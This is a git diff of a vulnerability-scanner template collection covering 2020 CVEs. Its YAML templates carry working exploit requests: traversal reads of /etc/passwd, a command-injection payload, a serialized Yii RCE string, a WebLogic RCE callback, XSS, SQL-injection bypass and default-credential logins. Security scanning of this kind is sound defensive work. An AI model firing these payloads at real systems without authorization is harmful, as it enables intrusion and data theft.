https://github.com/microweber/microweber/commit/269320e0e0e06a1785e1a1556da769a34280b7e6 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-13405 - cwe-id: CWE-306 - metadata: - shodan-query: http.html:"microweber" - verified: "true" - tags: cve,cve2020,microweber,unauth,disclosure -requests: - - raw: - - | - POST /module/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Referer: {{BaseURL}}admin/view:modules/load_module:users - - module={{endpoint}} - payloads: - endpoint: - - "users/controller" - - "modules/users/controller" - - "/modules/users/controller" - matchers: - - type: dsl - dsl: - - 'contains(body,"username")' - - 'contains(body,"password")' - - 'contains(body,"password_reset_hash")' - - 'status_code==200' - - 'contains(all_headers,"text/html")' - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-13483.yaml b/nuclei-templates/CVE-2020/CVE-2020-13483.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-13483.yaml rename to nuclei-templates/CVE-2020/CVE-2020-13483.yaml diff --git a/nuclei-templates/wordpress/CVE-2020-13700-4511.yaml b/nuclei-templates/CVE-2020/CVE-2020-13700.yaml similarity index 100% rename from nuclei-templates/wordpress/CVE-2020-13700-4511.yaml rename to nuclei-templates/CVE-2020/CVE-2020-13700.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-13927.yaml b/nuclei-templates/CVE-2020/CVE-2020-13927.yaml new file mode 100644 index 0000000000..e75d589b56 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-13927.yaml @@ -0,0 +1,42 @@ +id: CVE-2020-13927 + +info: + name: Airflow Experimental <1.10.11 - REST API Auth Bypass + author: pdteam + severity: critical + description: | + Airflow's Experimental API prior 1.10.11 allows all API requests without authentication. + reference: + - https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E + - http://packetstormsecurity.com/files/162908/Apache-Airflow-1.10.10-Remote-Code-Execution.html + - https://airflow.apache.org/docs/1.10.11/security.html#api-authenticatio + - https://nvd.nist.gov/vuln/detail/CVE-2020-13927 + remediation: | + From Airflow 1.10.11 forward, the default has been changed to deny all requests by default. Note - this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide linked in the references. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-13927 + cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* + epss-score: 0.95492 + metadata: + max-request: 1 + verified: "true" + shodan-query: title:"Airflow - DAGs" || http.html:"Apache Airflow" + tags: packetstorm,cve,cve2020,apache,airflow,unauth,auth-bypass,kev + +http: + - method: GET + path: + - '{{BaseURL}}/api/experimental/latest_runs' + + matchers: + - type: word + part: body + words: + - '"dag_run_url":' + - '"dag_id":' + - '"items":' + condition: and + +# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2020/CVE-2020-14864.yaml b/nuclei-templates/CVE-2020/CVE-2020-14864.yaml new file mode 100644 index 0000000000..1a74ce325d --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-14864.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-14864 +info: + name: Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion + author: Ivo Palazzolo (@palaziv) + severity: high + description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion + reference: + - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html + - https://www.oracle.com/security-alerts/cpuoct2020.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-14864 + tags: cve,cve2020,oracle,lfi,kev +requests: + - method: GET + path: + - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies + - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd' + cookie-reuse: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - 'root:.*:0:0:' + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-14882.yaml b/nuclei-templates/CVE-2020/CVE-2020-14882.yaml new file mode 100644 index 0000000000..77a02b6920 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-14882.yaml @@ -0,0 +1,39 @@ +id: CVE-2020-14882 + +info: + name: Oracle Weblogic Server - Remote Command Execution + author: dwisiswant0 + severity: critical + description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server. + reference: + - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf + - https://www.oracle.com/security-alerts/cpuoct2020.html + - https://twitter.com/jas502n/status/1321416053050667009 + - https://youtu.be/JFVDOIL0YtA + - https://github.com/jas502n/CVE-2020-14882#eg + - https://nvd.nist.gov/vuln/detail/CVE-2020-14882 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-14882 + tags: cve,cve2020,oracle,rce,weblogic,oast + +requests: + - method: GET + path: + - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "ADMINCONSOLESESSION" + + - type: word + part: interactsh_protocol + words: + - "http" + + +# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/cve-2020-14883.yaml b/nuclei-templates/CVE-2020/CVE-2020-14883.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-14883.yaml rename to nuclei-templates/CVE-2020/CVE-2020-14883.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-15050.yaml b/nuclei-templates/CVE-2020/CVE-2020-15050.yaml new file mode 100644 index 0000000000..2b51015c16 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-15050.yaml @@ -0,0 +1,42 @@ +id: CVE-2020-15050 + +info: + name: Suprema BioStar <2.8.2 - Local File Inclusion + author: gy741 + severity: high + description: Suprema BioStar before 2.8.2 Video Extension allows remote attackers can read arbitrary files from the server via local file inclusion. + remediation: | + Upgrade Suprema BioStar to version 2.8.2 or later to fix the LFI vulnerability. + reference: + - http://packetstormsecurity.com/files/158576/Bio-Star-2.8.2-Local-File-Inclusion.html + - https://www.supremainc.com/en/support/biostar-2-pakage.asp + - https://nvd.nist.gov/vuln/detail/CVE-2020-15050 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-15050 + cwe-id: CWE-22 + epss-score: 0.282 + epss-percentile: 0.96359 + cpe: cpe:2.3:a:supremainc:biostar_2:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: supremainc + product: biostar_2 + tags: suprema,biostar2,packetstorm,cve,cve2020,lfi + +http: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" + + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + +# digest: 4a0a0047304502201748fe0517c240bb83ec0ec0965da564cd9e752f4eeb6b4827ae98679a70647f022100f08ae9e4be6d7e4ed791766f5739fc5d17fe7734f73a8caf02ae094a0e6af5b2:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15129.yaml b/nuclei-templates/CVE-2020/CVE-2020-15129.yaml deleted file mode 100644 index 2f13517b4a..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-15129.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-15129 - -info: - name: Open-redirect in Traefik - author: dwisiswant0 - severity: medium - description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik - - https://github.com/containous/traefik/releases/tag/v2.2.8 - - https://github.com/containous/traefik/pull/7109 - - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.7 - cve-id: CVE-2020-15129 - cwe-id: CWE-601 - tags: cve,cve2020,traefik,redirect - -requests: - - method: GET - path: - - "{{BaseURL}}" - - headers: - X-Forwarded-Prefix: "https://foo.nl" - - matchers-condition: and - matchers: - - type: status - status: - - 302 - - - type: word - part: body - words: - - "Found" diff --git a/nuclei-templates/CVE-2020/CVE-2020-15148.yaml b/nuclei-templates/CVE-2020/CVE-2020-15148.yaml new file mode 100644 index 0000000000..34b71f6245 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-15148.yaml @@ -0,0 +1,42 @@ +id: CVE-2020-15148 + +info: + name: Yii 2 < 2.0.38 - Remote Code Execution + author: pikpikcu + severity: critical + description: Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input. + reference: + - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 + - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md + - https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99 + - https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj + remediation: Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2020-15148 + cwe-id: CWE-502 + cpe: cpe:2.3:a:yiiframework:yii:*:*:*:*:*:*:*:* + epss-score: 0.01843 + tags: cve,cve2020,rce,yii + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==" + + matchers-condition: and + matchers: + - type: word + words: + - "total" + - "An internal server error occurred." + condition: and + + - type: status + status: + - 500 + +# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-15920.yaml b/nuclei-templates/CVE-2020/CVE-2020-15920.yaml new file mode 100644 index 0000000000..24842d818f --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-15920.yaml @@ -0,0 +1,35 @@ +id: CVE-2020-15920 + +info: + name: Mida eFramework <=2.9.0 - Remote Command Execution + author: dwisiswant0 + severity: critical + description: Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required. + reference: + - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html + - http://packetstormsecurity.com/files/158991/Mida-eFramework-2.9.0-Remote-Code-Execution.html + - http://packetstormsecurity.com/files/159194/Mida-Solutions-eFramework-ajaxreq.php-Command-Injection.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-15920 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-15920 + cwe-id: CWE-78 + tags: cve,cve2020,mida,rce + +requests: + - method: POST + path: + - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# Enhanced by mp on 2022/05/16 diff --git a/nuclei-templates/CVE-2020/CVE-2020-16846.yaml b/nuclei-templates/CVE-2020/CVE-2020-16846.yaml new file mode 100644 index 0000000000..0855dd3f8e --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-16846.yaml @@ -0,0 +1,51 @@ +id: CVE-2020-16846 + +info: + name: SaltStack <=3002 - Shell Injection + author: dwisiswant0 + severity: critical + description: | + SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client. + reference: + - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/ + - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag + - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846 + - https://nvd.nist.gov/vuln/detail/CVE-2020-16846 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-16846 + cwe-id: CWE-78 + epss-score: 0.97535 + tags: vulhub,cve,cve2020,saltstack,kev + metadata: + max-request: 1 + +http: + - method: POST + path: + - "{{BaseURL}}/run" + body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei" + headers: + Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "An unexpected error occurred" + + - type: dsl + dsl: + - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body) + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 500 +# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-16952.yaml b/nuclei-templates/CVE-2020/CVE-2020-16952.yaml new file mode 100644 index 0000000000..09034350b3 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-16952.yaml @@ -0,0 +1,49 @@ +id: CVE-2020-16952 + +info: + name: Microsoft SharePoint - Remote Code Execution + author: dwisiswant0 + severity: high + description: Microsoft SharePoint is vulnerable to a remote code execution when the software fails to check the source markup of an application package. + reference: + - https://srcincite.io/pocs/cve-2020-16952.py.txt + - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952 + - https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md + - https://nvd.nist.gov/vuln/detail/CVE-2020-16952 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2020-16952 + cwe-id: CWE-346 + epss-score: 0.23324 + tags: msf,cve,cve2020,sharepoint,iis,microsoft,ssi,rce + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "15\\.0\\.0\\.(4571|5275|4351|5056)" + - "16\\.0\\.0\\.(10337|10364|10366)" + # - "16.0.10364.20001" + condition: or + + - type: regex + part: header + regex: + - "(?i)(Microsoftsharepointteamservices:)" + + - type: status + status: + - 200 + - 201 + condition: or + +# Enhanced by mp on 2022/07/13 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17362.yaml b/nuclei-templates/CVE-2020/CVE-2020-17362.yaml new file mode 100644 index 0000000000..4297977137 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-17362.yaml @@ -0,0 +1,39 @@ +id: CVE-2020-17362 +info: + name: Nova Lite < 1.3.9 - Unauthenticated Reflected Cross-Site Scripting + author: daffainfo + severity: medium + description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php. + reference: + - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4 + - https://nvd.nist.gov/vuln/detail/CVE-2020-17362 + - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-17362 + cwe-id: CWE-79 + tags: cve,cve2020,wordpress,xss,wp-plugin +requests: + - method: GET + path: + - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + - type: word + words: + - "nova-lite" + part: body + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17506.yaml b/nuclei-templates/CVE-2020/CVE-2020-17506.yaml deleted file mode 100644 index beb9bc4528..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-17506.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2020-17506 - -info: - name: Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection - author: dwisiswant0 - severity: critical - description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php. - reference: - - https://blog.max0x4141.com/post/artica_proxy/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17506 - - http://packetstormsecurity.com/files/158868/Artica-Proxy-4.3.0-Authentication-Bypass.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-17506 - cwe-id: CWE-89 - tags: cve,cve2020,artica,proxy - -requests: - - method: GET - path: - - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;" - - redirects: true - max-redirects: 1 - matchers-condition: and - matchers: - - type: word - words: - - "artica-applianc" - - - type: status - status: - - 200 - - 301 - - 302 - condition: or - - - type: word - part: header - words: - - "PHPSESSID" - - extractors: - - type: kval - kval: - - "PHPSESSID" - -# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-17519.yaml b/nuclei-templates/CVE-2020/CVE-2020-17519.yaml new file mode 100644 index 0000000000..1585625f0b --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-17519.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-17519 + +info: + name: Apache Flink directory traversal + author: pdteam + severity: high + description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process. + reference: + - https://github.com/B1anda0/CVE-2020-17519 + - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E + - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E + - https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-17519 + cwe-id: CWE-552 + tags: cve,cve2020,apache,lfi,flink + +requests: + - method: GET + path: + - "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-18268.yaml b/nuclei-templates/CVE-2020/CVE-2020-18268.yaml new file mode 100644 index 0000000000..1098818a51 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-18268.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-18268 + +info: + name: Z-BlogPHP 1.5.2 Open redirect + author: 0x_Akoko + severity: medium + description: Open Redirect in Z-BlogPHP v1.5.2 and earlier allows remote attackers to obtain sensitive information via the "redirect" parameter in the component "zb_system/cmd.php." + reference: + - https://github.com/getgrav/grav/issues/3134 + - https://www.cvedetails.com/cve/CVE-2020-18268 + tags: cve,cve2020,redirect,grav.getgrav + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-18268 + cwe-id: CWE-601 + +requests: + - method: GET + + path: + - '{{BaseURL}}/zblog/zb_system/cmd.php?atc=login&redirect=http://www.example.com' + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' + part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-1938.yaml b/nuclei-templates/CVE-2020/CVE-2020-1938.yaml deleted file mode 100644 index 57b224992b..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-1938.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2020-1938 - -info: - name: Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability - author: milo2012 - severity: critical - description: When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. - reference: - - https://www.tenable.com/blog/cve-2020-1938-ghostcat-apache-tomcat-ajp-file-readinclusion-vulnerability-cnvd-2020-10487 - - https://nvd.nist.gov/vuln/detail/CVE-2020-1938 - - https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E - - https://lists.apache.org/thread.html/r75113652e46c4dee687236510649acfb70d2c63e074152049c3f399d@%3Cnotifications.ofbiz.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-1938 - cwe-id: CWE-269 - tags: cve,cve2020,apache,tomcat,lfi,network - -network: - - inputs: - - data: "{{hex_decode('1234020e02020008485454502f312e310000132f6578616d706c65732f78787878782e6a73700000093132372e302e302e3100ffff00093132372e302e302e31000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a34362e3029204765636b6f2f32303130303130312046697265666f782f34362e30000019557067726164652d496e7365637572652d52657175657374730000013100a001004a746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e3800a00b00093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000102f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff')}}" - - host: - - "{{Hostname}}" - - "{{Host}}:8009" - - read-size: 1024 - - matchers: - - type: word - words: - - "See the NOTICE file distributed with" - -# Enhanced by mp on 2022/04/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-1943.yaml b/nuclei-templates/CVE-2020/CVE-2020-1943.yaml deleted file mode 100644 index 8ba36f51aa..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-1943.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2020-1943 - -info: - name: Apache OFBiz Reflected XSS - author: pdteam - severity: medium - description: Data sent with contentId to /control/stream is not sanitized, allowing XSS attacks in Apache OFBiz 16.11.01 to 16.11.07. - reference: - - https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E - - https://s.apache.org/pr5u8 - - https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E - - https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-1943 - cwe-id: CWE-79 - tags: cve,cve2020,apache,xss,ofbiz - -requests: - - method: GET - path: - - '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(xss)%3E' - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-1956.yaml b/nuclei-templates/CVE-2020/CVE-2020-1956.yaml deleted file mode 100644 index 035b347767..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-1956.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2020-1956 - -info: - name: Apache Kylin弱口令到rce - author: Str1am - severity: high - tags: Kylin,rce - -requests: - - raw: - - | - POST /kylin/api/user/authentication HTTP/1.1 - Host: {{Hostname}} - Pragma: no-cache - Accept: application/json, text/plain, */* - Authorization: Basic QURNSU46S1lMSU4= - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "userDetails" - part: body - condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-20988.yaml b/nuclei-templates/CVE-2020/CVE-2020-20988.yaml deleted file mode 100644 index 3068593902..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-20988.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2020-20988 -info: - name: DomainMOD 4.13.0 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via reporting/domains/cost-by-owner.php in "or Expiring Between" parameter. - reference: - - https://mycvee.blogspot.com/p/xss2.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2020-20988 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2020,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /reporting/domains/cost-by-owner.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E - cookie-reuse: true - req-condition: true - redirects: true - max-redirects: 2 - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'contains(all_headers_2, "text/html")' - - 'contains(body_2, "value=\"\"/>")' - - 'contains(body_2, "DomainMOD")' - condition: and diff --git a/nuclei-templates/CVE-2020/CVE-2020-2103.yaml b/nuclei-templates/CVE-2020/CVE-2020-2103.yaml new file mode 100644 index 0000000000..84373917d5 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-2103.yaml @@ -0,0 +1,63 @@ +id: CVE-2020-2103 + +info: + name: Jenkins <=2.218 - Information Disclosure + author: c-sh0 + severity: medium + description: Jenkins through 2.218, LTS 2.204.1 and earlier, is susceptible to information disclosure. An attacker can access exposed session identifiers on a user detail object in the whoAmI diagnostic page and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://www.jenkins.io/security/advisory/2020-01-29/#SECURITY-1695 + - 